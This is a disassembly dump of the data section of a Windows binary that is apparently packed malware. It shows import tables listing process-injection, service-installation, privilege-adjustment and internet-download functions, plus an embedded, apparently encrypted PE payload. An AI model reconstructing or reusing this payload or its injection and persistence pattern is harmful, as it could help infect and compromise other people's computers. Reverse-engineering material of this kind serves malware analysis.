dword_411CDC	dd 77E7A099h		; DATA XREF: sub_402296+18r
					; DMN0:00402353r ...
dword_411CE0	dd 77E79881h		; DATA XREF: sub_40238A+14r
					; sub_405870+Dr ...
dword_411CE4	dd 77E77797h		; DATA XREF: sub_4023DC+1Fr
					; sub_44335D+1Fr
dword_411CE8	dd 77F5157Dh		; DATA XREF: sub_4023DC+2Br
					; sub_403604+2Dr ...
dword_411CEC	dd 77E74D76h		; DATA XREF: sub_4023DC+44r
					; sub_402449+29r ...
dword_411CF0	dd 77E75090h		; DATA XREF: sub_4023DC+62r
					; sub_402449+47r ...
dword_411CF4	dd 77E7C815h		; DATA XREF: sub_402449+11r
					; sub_4024A6+12r ...
dword_411CF8	dd 77E77963h		; DATA XREF: sub_402449+51r
					; sub_4024A6+5Er ...
dword_411CFC	dd 77E762D0h		; DATA XREF: sub_402511+33r
					; sub_40538E+33r ...
dword_411D00	dd 77E61BE6h		; DATA XREF: sub_402562+32r
					; sub_40356A+Br ...
dword_411D04	dd 77E775F1h		; DATA XREF: sub_40356A+5Dr
					; sub_40356A+8Br ...
dword_411D08	dd 77E7C2C4h		; DATA XREF: sub_403604+19r
					; DMN0:004036BBr ...
dword_411D0C	dd 77E8074Ah		; DATA XREF: sub_403658+10r
					; sub_4036F6+10r ...
dword_411D10	dd 77E61BB8h		; DATA XREF: sub_403723+DCr
					; DMN0:00404C8Er ...
dword_411D14	dd 77F51587h		; DATA XREF: sub_403838+BDr
					; sub_409090+59r ...
dword_411D18	dd 77E73628h		; DATA XREF: sub_403838+13Br
					; sub_40399A+1ACr ...
dword_411D1C	dd 77E6AD34h		; DATA XREF: sub_40399A+3Cr
					; sub_40399A+93r ...
dword_411D20	dd 77E6AF8Fh		; DATA XREF: sub_40399A+57r
					; sub_40399A+AEr ...
dword_411D24	dd 77E6BD13h		; DATA XREF: sub_40399A+C4r
					; sub_4066F1+18Fr ...
dword_411D28	dd 77E70396h		; DATA XREF: sub_40399A+DEr
					; sub_405DF3+8Ar ...
dword_411D2C	dd 77E76B5Ch		; DATA XREF: sub_403C3F+31Cr
					; DMN1:00444EDCr
dword_411D30	dd 77E75CB5h		; DATA XREF: sub_403FEA+10r
					; sub_409190+5r ...
dword_411D34	dd 77E79D5Bh		; DATA XREF: sub_40400E+23r
					; sub_405870+E5r ...
dword_411D38	dd 77E76A2Eh		; DATA XREF: sub_4040C3+36r
					; sub_4050B1+B5r ...
dword_411D3C	dd 77E73BEFh		; DATA XREF: sub_404F2A+A7r
					; sub_445EAB+A7r
dword_411D40	dd 77E737DEh		; DATA XREF: DMN0:0040530Er
					; sub_405870+51r ...
dword_411D44	dd 77E74A3Bh		; DATA XREF: DMN0:0040531Br
					; sub_405C80+65r ...
dword_411D48	dd 77E74C59h		; DATA XREF: sub_405870+C7r
					; sub_4467F1+C7r
dword_411D4C	dd 77E74CABh		; DATA XREF: sub_405BE3+14r
					; sub_4066F1+28Dr ...
dword_411D50	dd 77E74A69h		; DATA XREF: sub_405C80+11r
					; sub_406422+7r ...
dword_411D54	dd 77E6CA8Ah		; DATA XREF: sub_405DF3+31r
					; sub_446D74+31r
dword_411D58	dd 77E7105Fh		; DATA XREF: sub_405DF3+44r
					; sub_446D74+44r
dword_411D5C	dd 77E760B5h		; DATA XREF: sub_405DF3+5Fr
					; sub_446D74+5Fr
dword_411D60	dd 77E7C931h		; DATA XREF: sub_405DF3+73r
					; sub_446D74+73r
dword_411D64	dd 77E79C90h		; DATA XREF: sub_406042+1Br
					; sub_4092A0+1D3r ...
dword_411D68	dd 77E79824h		; DATA XREF: sub_4060BC+21r
					; sub_44703D+21r
dword_411D6C	dd 77E79F93h		; DATA XREF: sub_4060BC+7Ar
					; sub_407AA0+9Ar ...
dword_411D70	dd 77E7A5FDh		; DATA XREF: sub_4060BC+91r
					; sub_4060BC+A2r ...
dword_411D74	dd 77E61A90h		; DATA XREF: sub_4060BC+E6r
					; sub_44703D+E6r
dword_411D78	dd 77E7AA83h		; DATA XREF: sub_4060BC+11Dr
					; sub_44703D+11Dr
dword_411D7C	dd 77E706B7h		; DATA XREF: sub_4061E6+15r
					; sub_447167+15r
dword_411D80	dd 77E6C9E0h		; DATA XREF: sub_4061E6+5Cr
					; sub_447167+5Cr
dword_411D84	dd 77EBB1E7h		; DATA XREF: sub_406C9Cr sub_447C1Dr
dword_411D88	dd 77EBA595h		; DATA XREF: sub_406CA2r sub_447C23r
dword_411D8C	dd 77EBA6E9h		; DATA XREF: sub_406CA8r sub_447C29r
dword_411D90	dd 77E7C938h		; DATA XREF: sub_4066F1+44r
					; sub_409710+Br ...
dword_411D94	dd 77E99078h		; DATA XREF: sub_407220+1Br
					; DMN1:004481BCr
dword_411D98	dd 77E79B39h		; DATA XREF: sub_407870+30r
					; sub_408FD0+31r ...
dword_411D9C	dd 77E7AC37h		; DATA XREF: sub_407910+38r
					; sub_448891+38r
dword_411DA0	dd 77E6E154h		; DATA XREF: sub_407910+54r
					; sub_448891+54r
dword_411DA4	dd 77E73C49h		; DATA XREF: sub_4079A0+30r
					; sub_448921+30r
dword_411DA8	dd 77E6177Ah		; DATA XREF: sub_407AA0+92r
					; sub_4092A0+5Er ...
dword_411DAC	dd 77F6183Eh		; DATA XREF: sub_40D420r sub_44E3A1r
dword_411DB0	dd 77E7C726h		; DATA XREF: sub_4085B0+9r
					; sub_449531+9r
dword_411DB4	dd 77E76E0Bh		; DATA XREF: DMN0:004085D6r
					; DMN1:00449557r
dword_411DB8	dd 77F516F8h		; DATA XREF: sub_4085F0+Dr
					; sub_449571+Dr
dword_411DBC	dd 77F5722Fh		; DATA XREF: DMN0:00408623r
					; DMN1:004495A4r
dword_411DC0	dd 77F51597h		; DATA XREF: sub_408630+Dr
					; sub_4495B1+Dr
dword_411DC4	dd 77F522F2h		; DATA XREF: DMN0:0040865Fr
					; DMN1:004495E0r
dword_411DC8	dd 77E6C924h		; DATA XREF: DMN0:0040868Dr
					; DMN1:0044960Er
dword_411DCC	dd 77F53275h		; DATA XREF: sub_4086E0+12r
					; sub_4086E0+32r ...
dword_411DD0	dd 77E7A837h		; DATA XREF: sub_408A60+23r
					; DMN0:00408AB3r ...
dword_411DD4	dd 77E7C5B4h		; DATA XREF: sub_408FD0+6r
					; sub_449F51+6r
dword_411DD8	dd 77E77CC4h		; DATA XREF: sub_408FD0+46r
					; sub_409090+42r ...
dword_411DDC	dd 77E72B29h		; DATA XREF: DMN0:00409047r
					; DMN1:00449FC8r
dword_411DE0	dd 77E78B61h		; DATA XREF: sub_409090+10r
					; sub_409100+1Br ...
dword_411DE4	dd 77EB9A84h		; DATA XREF: sub_4091A0+5Fr
					; sub_44A121+5Fr
dword_411DE8	dd 77E6167Bh		; DATA XREF: sub_409240+5r
					; DMN0:0040925Br ...
dword_411DEC	dd 77E78406h		; DATA XREF: sub_4092A0+130r
					; sub_4092A0+1C6r ...
dword_411DF0	dd 77E79CE3h		; DATA XREF: sub_4092A0+1F5r
					; sub_44A221+1F5r
dword_411DF4	dd 77E7C931h		; DATA XREF: sub_4092A0+24Ar
					; sub_44A221+24Ar
dword_411DF8	dd 77E67702h		; DATA XREF: sub_4097B0+9r
					; sub_44A731+9r
dword_411DFC	dd 77E9C5B1h		; DATA XREF: sub_4097B0+B0r
					; sub_44A731+B0r
dword_411E00	dd 77E7980Ah		; DATA XREF: sub_4098B0+24r
					; sub_4098B0+8Ar ...
dword_411E04	dd 77E7F044h		; DATA XREF: sub_4098B0+3Fr
					; sub_44A831+3Fr
dword_411E08	dd 77E79D8Ch		; DATA XREF: sub_40A670+F5r
					; sub_40A670+15Br ...
dword_411E0C	dd 77E7FF2Eh		; DATA XREF: sub_40AA10+4Cr
					; sub_40AA10+5Br ...
dword_411E10	dd 77E76968h		; DATA XREF: sub_40AD50+A9r
					; sub_44BCD1+A9r
dword_411E14	dd 77E78C81h		; DATA XREF: sub_40BDF0+34r
					; sub_44CD71+34r
dword_411E18	dd 77E78B82h		; DATA XREF: sub_40C890+C4r
					; sub_40C890+249r ...
dword_411E1C	dd 77E70192h		; DATA XREF: sub_40CC50+10Cr
					; sub_44DBD1+10Cr
		dd 0
dword_411E24	dd 77DD590Bh		; DATA XREF: sub_402208+21r
					; sub_405187+63r ...
dword_411E28	dd 77DD59F0h		; DATA XREF: sub_402208+43r
					; sub_405187+8Ar ...
dword_411E2C	dd 77DD189Ah		; DATA XREF: sub_402208+4Cr
					; sub_40225E+2Er ...
dword_411E30	dd 77DD22EAh		; DATA XREF: sub_40225E+15r
					; sub_4050B1+5Cr ...
dword_411E34	dd 77DD839Fh		; DATA XREF: sub_40225E+25r
					; sub_4431DF+25r
dword_411E38	dd 77DD6018h		; DATA XREF: sub_40238A+1Fr
					; sub_405870+1Br ...
dword_411E3C	dd 77DD6034h		; DATA XREF: sub_40238A+2Cr
					; sub_405870+2Ar ...
dword_411E40	dd 77DDACABh		; DATA XREF: sub_4040C3+15r
					; sub_445044+15r
dword_411E44	dd 77DDA20Bh		; DATA XREF: sub_404CB8+Br
					; sub_404D02+12r ...
dword_411E48	dd 77DE801Bh		; DATA XREF: sub_404CB8+1Fr
					; sub_404D02+29r ...
dword_411E4C	dd 77DDAB2Fh		; DATA XREF: sub_404CB8+2Cr
					; sub_404CB8+37r ...
dword_411E50	dd 77DDAC5Ch		; DATA XREF: sub_404D02+47r
					; sub_404E56+80r ...
dword_411E54	dd 77E2BC20h		; DATA XREF: sub_404D73+22r
					; sub_445CF4+22r
dword_411E58	dd 77E2BE75h		; DATA XREF: sub_404D73+6Dr
					; sub_404F2A+C3r ...
dword_411E5C	dd 77DE8075h		; DATA XREF: sub_404E56+9Cr
					; sub_445DD7+9Cr
dword_411E60	dd 77E2BF4Bh		; DATA XREF: sub_404F2A+4Dr
					; sub_445EAB+4Dr
dword_411E64	dd 77E2C1B3h		; DATA XREF: sub_40506C+2Br
					; sub_445FED+2Br
dword_411E68	dd 77DD23D7h		; DATA XREF: sub_4050B1+92r
					; sub_4053DF+71r ...
dword_411E6C	dd 77DE7E48h		; DATA XREF: DMN0:0040599Ar
					; DMN0:004059ADr ...
dword_411E70	dd 77DE1356h		; DATA XREF: DMN0:004059F1r
					; DMN1:00446972r
dword_411E74	dd 77DE1EBDh		; DATA XREF: sub_405AC9+35r
					; sub_446A4A+35r
dword_411E78	dd 77DF7311h		; DATA XREF: sub_406042+11r
					; sub_446FC3+11r
dword_411E7C	dd 77DD5D20h		; DATA XREF: sub_406042+28r
					; sub_446FC3+28r
dword_411E80	dd 77DDA595h		; DATA XREF: sub_406042+5Fr
					; sub_446FC3+5Fr
		align 8
dword_411E88	dd 71AB41DAh		; DATA XREF: sub_406CAEr sub_447C2Fr
dword_411E8C	dd 71AB1836h		; DATA XREF: sub_406CB4r sub_447C35r
dword_411E90	dd 71AB3C22h		; DATA XREF: sub_406CBAr sub_447C3Br
dword_411E94	dd 71AD1072h		; DATA XREF: sub_406CC0r sub_447C41r
dword_411E98	dd 71AB1A6Dh		; DATA XREF: sub_406CC6r sub_447C47r
dword_411E9C	dd 71AB1890h		; DATA XREF: sub_406CCCr sub_447C4Dr
dword_411EA0	dd 71AB155Ah		; DATA XREF: sub_406CD2r sub_447C53r
dword_411EA4	dd 71AB1746h		; DATA XREF: sub_406CD8r sub_447C59r
dword_411EA8	dd 71AB3E5Dh		; DATA XREF: sub_406CDEr sub_447C5Fr
dword_411EAC	dd 71AB3ECEh		; DATA XREF: sub_406CE4r sub_447C65r
dword_411EB0	dd 71AB5DE2h		; DATA XREF: sub_406CEAr sub_447C6Br
dword_411EB4	dd 71AB868Dh		; DATA XREF: sub_406CF0r sub_447C71r
dword_411EB8	dd 71AB1746h		; DATA XREF: sub_406CF6r sub_447C77r
dword_411EBC	dd 71AD1020h		; DATA XREF: sub_406CFCr sub_447C7Dr
dword_411EC0	dd 71AB1AF4h		; DATA XREF: sub_406D02r sub_447C83r
dword_411EC4	dd 71AB12F8h		; DATA XREF: sub_406D08r sub_447C89r
dword_411EC8	dd 71AB2BBFh		; DATA XREF: sub_406D0Er sub_447C8Fr
dword_411ECC	dd 71AB157Eh		; DATA XREF: sub_406D14r sub_447C95r
dword_411ED0	dd 71AB32CAh		; DATA XREF: sub_406D1Ar sub_447C9Br
dword_411ED4	dd 71AB401Ch		; DATA XREF: sub_406D20r sub_447CA1r
dword_411ED8	dd 71AB1ED3h		; DATA XREF: sub_406D26r sub_447CA7r
dword_411EDC	dd 71AD2E5Fh		; DATA XREF: sub_406D2Cr sub_447CADr
dword_411EE0	dd 71AB1740h		; DATA XREF: sub_406D32r sub_447CB3r
		align 8
dword_411EE8	dd 76D67CDBh		; DATA XREF: sub_406D38r sub_447CB9r
		align 10h
dword_411EF0	dd 7620AFB6h		; DATA XREF: sub_403838+19r
					; sub_4447B9+19r
dword_411EF4	dd 76214750h		; DATA XREF: sub_403838+48r
					; sub_4447B9+48r
dword_411EF8	dd 76204E4Dh		; DATA XREF: sub_403838+62r
					; sub_403838+94r ...
dword_411EFC	dd 7620BD61h		; DATA XREF: sub_403838+F1r
					; sub_4447B9+F1r
		dd 0
		dd 65470000h, 63695474h, 756F436Bh, 746Eh, 6E490000h, 61697469h
		dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
		dd 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h
		dd 6E6Fh, 654C0000h, 43657661h,	69746972h, 536C6163h, 69746365h
		dd 6E6Fh, 65470000h, 64745374h,	646E6148h, 656Ch, 65470000h
		dd 636F4C74h, 69546C61h, 656Dh,	65470000h, 646F4D74h, 46656C75h
		dd 4E656C69h, 41656D61h, 0
aLocalalloc	db 'LocalAlloc',0
		align 4
		dd 72430000h, 65746165h, 656C6946h, 7070614Dh, 41676E69h
		dd 0
aGetlasterror_0	db 'GetLastError',0
		align 4
aMapviewoffile	db 'MapViewOfFile',0
		align 4
aUnmapviewoffil	db 'UnmapViewOfFile',0
		dd 704F0000h, 69466E65h, 614D656Ch, 6E697070h, 4167h, 6C430000h
		dd 4865736Fh, 6C646E61h, 65h, 706D6F43h, 53657261h, 6E697274h
		dd 4167h, 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh
		dd 63784564h, 676E6168h, 65h, 61657243h, 754D6574h, 41786574h
		dd 0
aOpenmutexa	db 'OpenMutexA',0
		align 4
		dd 72430000h, 65746165h, 636F7250h, 41737365h, 0
aSetlasterror	db 'SetLastError',0
		align 10h
aDeletefilea	db 'DeleteFileA',0
		dd 65470000h, 6D655474h, 74615070h, 4168h, 65470000h, 6D655474h
		dd 6C694670h, 6D614E65h, 4165h,	6F430000h, 69467970h, 41656Ch
		dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
		dd 0
aInterlockedexc	db 'InterlockedExchangeAdd',0
		align 4
		dd 78450000h, 72507469h, 7365636Fh, 73h, 74696157h, 53726F46h
		dd 6C676E69h, 6A624F65h, 746365h, 736C0000h, 6D637274h
		dd 416970h, 736C0000h, 70637274h, 416E79h, 72430000h, 65746165h
		dd 6E657645h, 4174h, 65530000h,	65764574h, 746Eh, 61570000h
		dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h
		dd 0
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		dd 65520000h, 45746573h, 746E6576h, 0
aFindresourcea	db 'FindResourceA',0
		align 4
aSizeofresource	db 'SizeofResource',0
		align 4
		dd 6F4C0000h, 65526461h, 72756F73h, 6563h, 6F4C0000h, 65526B63h
		dd 72756F73h, 6563h, 65470000h,	72754374h, 746E6572h, 636F7250h
		dd 737365h, 69560000h, 61757472h, 6C6C416Ch, 7845636Fh
		dd 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 10h
aGetprocaddress	db 'GetProcAddress',0
		align 10h
		dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh
		dd 0
aCreateremoteth	db 'CreateRemoteThread',0
		align 4
		dd 704F0000h, 72506E65h, 7365636Fh, 73h, 45746547h, 43746978h
		dd 5465646Fh, 61657268h, 64h, 61657243h, 6F546574h, 65686C6Fh
		dd 3233706Ch, 70616E53h, 746F6873h, 0
aProcess32first	db 'Process32First',0
		align 4
		dd 72500000h, 7365636Fh, 4E323373h, 747865h, 65470000h
		dd 6D6F4374h, 646E616Dh, 656E694Ch, 454B0041h, 4C454E52h
		dd 642E3233h, 6C6Ch, 65520000h,	65724367h, 4B657461h, 78457965h
		dd 41h,	53676552h, 61567465h, 4565756Ch, 4178h,	65520000h
		dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
		dd 41h,	44676552h, 74656C65h, 79654B65h, 41h, 74696E49h
		dd 696C6169h, 6553657Ah, 69727563h, 65447974h, 69726373h
		dd 726F7470h, 0
aSetsecuritydes	db 'SetSecurityDescriptorDacl',0
		align 4
aGetusernamea	db 'GetUserNameA',0
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0
		align 4
		dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh
		dd 69767265h, 61486563h, 656C646Eh, 0
aQueryservicest	db 'QueryServiceStatus',0
		align 4
		dd 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh
		dd 4167h, 68430000h, 65676E61h,	76726553h, 43656369h, 69666E6Fh
		dd 413267h, 74530000h, 53747261h, 69767265h, 416563h, 72430000h
		dd 65746165h, 76726553h, 41656369h, 0
aDeleteservice	db 'DeleteService',0
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 10h
aSetservicest_2	db 'SetServiceStatus',0
		align 4
aRegisterserv_0	db 'RegisterServiceCtrlHandlerA',0
		dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h
		dd 74617073h, 72656863h, 41h, 6B6F6F4Ch, 72507075h, 6C697669h
		dd 56656765h, 65756C61h, 41h, 6E65704Fh, 636F7250h, 54737365h
		dd 6E656B6Fh, 0
aAdjusttokenpri	db 'AdjustTokenPrivileges',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 10h
aS_1:
		unicode	0, <s>,0
aT:
		unicode	0, <t>,0
		dd 17h,	15h, 3,	12h, 0Ch, 9, 4,	2, 0Dh,	1, 0Fh,	10h, 13h
		dd 0Ah,	34h, 6,	39h, 0Bh, 14h, 11h, 6Fh, 434F5357h, 2E32334Bh
		dd 6C6C64h, 65470000h, 46704974h, 6177726Fh, 61546472h
		dd 656C62h, 6C687069h, 69706170h, 6C6C642Eh, 0
aInternetopena	db 'InternetOpenA',0
		align 4
aInternetopen_0	db 'InternetOpenUrlA',0
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0
		dd 6E490000h, 6E726574h, 65527465h, 69466461h, 656Ch, 494E4957h
		dd 2E54454Eh, 6C6C64h, 72570000h, 43657469h, 6F736E6Fh
		dd 41656Ch, 6C540000h, 74655373h, 756C6156h, 65h, 61657243h
		dd 68546574h, 64616572h, 0
aResumethread	db 'ResumeThread',0
		align 4
aExitthread_0	db 'ExitThread',0
		align 10h
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 556C7452h
		dd 6E69776Eh, 64h, 70616548h, 61657243h, 6574h,	65480000h
		dd 65447061h, 6F727473h, 79h, 70616548h, 6F6C6C41h, 63h
		dd 70616548h, 6C416552h, 636F6Ch, 65480000h, 72467061h
		dd 6565h, 65480000h, 69537061h,	657Ah, 65480000h, 61567061h
		dd 6164696Ch, 6574h, 65440000h,	6574656Ch, 74697243h, 6C616369h
		dd 74636553h, 6E6F69h, 72430000h, 65746165h, 656C6946h
		dd 41h,	41736C54h, 636F6C6Ch, 0
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 6C540000h, 65724673h, 65h, 47736C54h, 61567465h, 65756Ch
		dd 6E550000h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h
		dd 746C6946h, 7265h, 65470000h,	73795374h, 546D6574h, 41656D69h
		dd 6C694673h, 6D695465h, 65h, 46746547h, 54656C69h, 657079h
		dd 75440000h, 63696C70h, 48657461h, 6C646E61h, 65h, 48746553h
		dd 6C646E61h, 756F4365h, 746Eh,	65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 74726956h
		dd 416C6175h, 636F6C6Ch, 0
aVirtualquery	db 'VirtualQuery',0
		align 4
aWritefile	db 'WriteFile',0
		align 4
aSetstdhandle	db 'SetStdHandle',0
		align 4
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		align 4
aSetfilepointer	db 'SetFilePointer',0
		align 4
		dd 65520000h, 69466461h, 656Ch,	65530000h, 646E4574h, 6946664Fh
		dd 656Ch
dword_4127E8	dd 960000h		; DATA XREF: sub_407BD0+44r
					; sub_407BD0+51r ...
dword_4127EC	dd 0			; DATA XREF: sub_407BD0:loc_407C0Fr
					; sub_407BD0+57r ...
dword_4127F0	dd 3F0000h		; DATA XREF: sub_4085B0+Fw
					; DMN0:004085D0r ...
dword_4127F4	dd 14CF88h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_41121Co
dword_41280C	dd 14CF60h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411218o
dword_412824	dd 14CF38h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411214o
dword_41283C	dd 14CF10h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411210o
dword_412854	dd 63F46024h		; DATA XREF: sub_409240o
					; DMN0:00409267r ...
dword_412858	dd 1C811B1h		; DATA XREF: DMN0:0040926Dr
					; DMN1:0044A1EEr
dword_41285C	dd 14C530h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40103Co
					; sub_401048+4o ...
dword_412874	dd 14C580h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_401097o
					; DMN0:004010D2o ...
dword_41288C	dd 14C558h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_401165o
					; DMN0:004011DEo ...
dword_4128A4	dd 3F2318h		; DATA XREF: sub_40122A+18r
					; sub_40122A+41w ...
dword_4128A8	dd 0			; DATA XREF: sub_4066F1+63r
					; sub_4066F1+268r ...
dword_4128AC	dd 0			; DATA XREF: sub_4066F1+DAr
					; sub_4066F1+F5r ...
dword_4128B0	dd 0			; DATA XREF: sub_4066F1+D4r
					; sub_4066F1+10Dr ...
		dd 1Dh dup(0)
dword_412928	dd 3 dup(0)		; DATA XREF: sub_4023DC+15o
					; sub_44335D+15o
dword_412934	dd 9503F8h		; DATA XREF: sub_403B86+1Cr
					; sub_403B86+3Dr ...
dword_412938	dd 0			; DATA XREF: DMN0:0040598Fo
					; DMN0:loc_4059A2o ...
dword_41293C	dd 0			; DATA XREF: DMN0:loc_405985w
					; DMN0:loc_4059B5w ...
dword_412940	dd 0			; DATA XREF: DMN0:00405A3Bw
					; DMN1:004469BCw
		align 10h
dword_412950	dd 0			; DATA XREF: DMN0:00405A42w
					; DMN1:004469C3w
dword_412954	dd 0			; DATA XREF: DMN0:00405994r
					; DMN0:004059A7r ...
off_412958	dd offset aNts		; DATA XREF: DMN0:004059EBr
					; sub_405AC9:loc_405AD7r ...
					; "NTS"
dword_41295C	dd 0			; DATA XREF: sub_405AC9+13w
					; sub_405AC9+30o ...
dword_412960	dd 0			; DATA XREF: sub_405AC9+18w
					; sub_446A4A+18w
dword_412964	dd 0			; DATA XREF: sub_405AC9+22w
					; sub_446A4A+22w
dword_412968	dd 0			; DATA XREF: sub_405AC9+29w
					; sub_446A4A+29w
dword_41296C	dd 0			; DATA XREF: sub_405C80+Br
					; sub_405C80+5Fr ...
dword_412970	dd 400h	dup(0)		; DATA XREF: sub_405EFE+1Bo
					; sub_405EFE+31o ...
dword_413970	dd 14C5A8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_4066F1+2Fo
					; sub_447672+2Fo
dword_413988	dd 3F1E90h		; DATA XREF: sub_408D80+6Fr
					; sub_408E20+1Br ...
		dd 3Fh dup(0)
dword_413A88	dd 20h			; DATA XREF: sub_408E20+6r
					; sub_4092A0+28w ...
		dd 15Eh	dup(0)
		dd 470501C8h, 0
		dd 10000h, 0Ah,	80000018h, 0
		dd 470501C8h, 0
		dd 10000h, 1F41h, 80000030h, 0
		dd 470501C8h, 0
		dd 10000h, 419h, 48h, 14058h, 16078h, 2	dup(0)
		dd 505A4Dh, 2, 0F0004h,	0FFFFh,	0B8h, 0
		dd 1A0040h, 8 dup(0)
		dd 100h, 0E0010BAh, 0CD09B41Fh,	4C01B821h, 909021CDh, 73696854h
		dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h
		dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0)
		dd 4550h, 3014Ch, 3 dup(0)
		dd 0A18E00E0h, 10Bh, 3 dup(0)
		dd 46B7Ah, 1000h, 0
		dd 10000000h, 1000h, 200h, 2 dup(0)
		dd 4, 0
		dd 48000h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 47038h, 28h,	6 dup(0)
		dd 47060h, 10h,	14h dup(0)
aDmn0		db 'DMN0',0
		align 4
		dd 30000h, 1000h, 5 dup(0)
		dd 0C0000060h, 314E4D44h, 0
		dd 15BA3h, 31000h, 15C00h, 400h, 3 dup(0)
		dd 0E0000060h, 324E4D44h, 0
		dd 78h,	47000h,	78h, 16000h, 3 dup(0)
		dd 0C0000060h, 64h dup(0)
		dd 0B7BFFC18h, 6788BDFFh, 55E9BFD2h, 6A71A8A0h,	884E30D4h
		dd 29F278A2h, 736ECE38h, 4CCBC432h, 0EFA05EEEh,	558DC417h
		dd 8B943DF8h, 0F1D3572Ah, 12DEFDBFh, 0DC4EA7D3h, 826C1442h
		dd 0D0CCCBD2h, 0E55DA14Ch, 6E187289h, 669A1B58h, 75B96CF7h
		dd 8112F23Fh, 9CC13EF6h, 5FB1509Bh, 0C25513FDh,	0A78C1B8Ch
		dd 0C7D0A3B6h, 68341060h, 3F51A42Fh, 0E0D5F10Dh, 91F4B323h
		dd 6B727AEBh, 60F4F7DDh, 66205971h, 32F0CDABh, 782A9A09h
		dd 3A8AC84Ch, 0C920B3B0h, 96B48D58h, 7A6C6E31h,	0C6C0CF16h
		dd 7ABE8FE7h, 0FA180CD8h, 7C919C4Ch, 3983D856h,	912772C4h
		dd 868BD592h, 41A91172h, 2395A4EFh, 0E6FF569Bh,	0FC815296h
		dd 0C7C700A2h, 0BE308038h, 0D4397D0h, 1CFF015Dh, 0EF8C54B8h
		dd 936D8E27h, 0C6EF36BDh, 0DB97E071h, 760D3326h, 345FBC48h
		dd 27250AEDh, 4E72E42Dh, 0BD74EA6Ah, 0D632BA98h, 6ADF8A74h
		dd 7320CD81h, 0F84648FAh, 546054AAh, 109A5BDBh,	8E93FC4Bh
		dd 238FFB31h, 247069B9h, 0F1049E9Eh, 7CA9B1FDh,	4905C6C3h
		dd 8BDBA6Ch, 0BDB565A9h, 0E5E00923h, 9BF14D1Eh,	17E0D9B7h
		dd 6235E740h, 0C2D17446h, 0AB135ADCh, 9C41CC01h, 0F2597DCCh
		dd 0BB39F56h, 0CED279D7h, 0B30962E9h, 98B1A635h, 77F7CBFCh
		dd 0B6C6E3A4h, 7BC3354Ch, 0F6C35CDAh, 901AE82Fh, 275ECEFCh
		dd 121C495Fh, 0CEDE73ABh, 43AE9FD6h, 1B99B798h,	0E81C2040h
		dd 0FE776FBFh, 24AEE9FEh, 5DB5FC33h, 9925A1Ah, 5804FEA5h
		dd 88839EF5h, 7702B887h, 0FDED2D3Eh, 0C22A602Ch, 0ED7FD7D8h
		dd 0EAAC5160h, 64C980F8h, 0A6A39077h, 76831C40h, 4DC21C0Bh
		dd 0A346231Fh, 51A0614Ah, 0B46DFFB8h, 31DB6214h, 16CA4B18h
		dd 83D3C79Ch, 0FD572705h, 8420BF0Ah, 61732923h,	63196A89h
		dd 8D718092h, 1E5048DEh, 48FD2AC2h, 46B6FDD3h, 3CE08C12h
		dd 92C20696h, 35FFED0h,	9D51477Ch, 524833D3h, 0D379345Ch
		dd 57311698h, 0D0F16AB0h, 0D0039AB9h, 7BF566CBh, 0A08C235Fh
		dd 0AC0906ABh, 35E453ABh, 666753C2h, 0CAC7E9DEh, 5E668094h
		dd 0C96CDC07h, 31D9DC07h, 0E63B810Dh, 37CC8C4Fh, 2073A33Fh
		dd 63C3E8B3h, 28FF4FB0h, 0B41FF0B4h, 693F17Ah, 48F13301h
		dd 0DAED8B5Eh, 4D4C41FBh, 0EFA76D49h, 9B2647ABh, 0E8DFEA42h
		dd 817D8099h, 0F7FFBE69h, 0CFEA955Fh, 0B4FF07B6h, 0C9D54B23h
		dd 1BD514AFh, 5FDEA426h, 9F85568Ah, 0A3BAFE37h,	0D896FC55h
		dd 1183CE97h, 14E90C51h, 71C85122h, 5ED9722Eh, 714F5735h
		dd 0A8DB11Ah, 0AD7248FCh, 1B0A1383h, 5181E7D2h,	17C90379h
		dd 350E2733h, 9BC39728h, 5267A44Ch, 63CAC3F4h, 0E9348AD4h
		dd 73C04C70h, 84C52D3Eh, 7656317Ah, 1429D5BEh, 8AB657h
		dd 0AB8D4234h, 5EF4851Bh, 4A813E12h, 0E51D7E18h, 0B6515A5h
		dd 0A3CF4C13h, 0FF66FF76h, 62B266B3h, 0A3744FC0h, 0B3816941h
		dd 8CC8CC18h, 31494D9Ch, 8519C6D8h, 91E92608h, 0B217D843h
		dd 0AAB053C1h, 0CCF20C42h, 7FACA58h, 9FEC647Bh,	0BD3234C9h
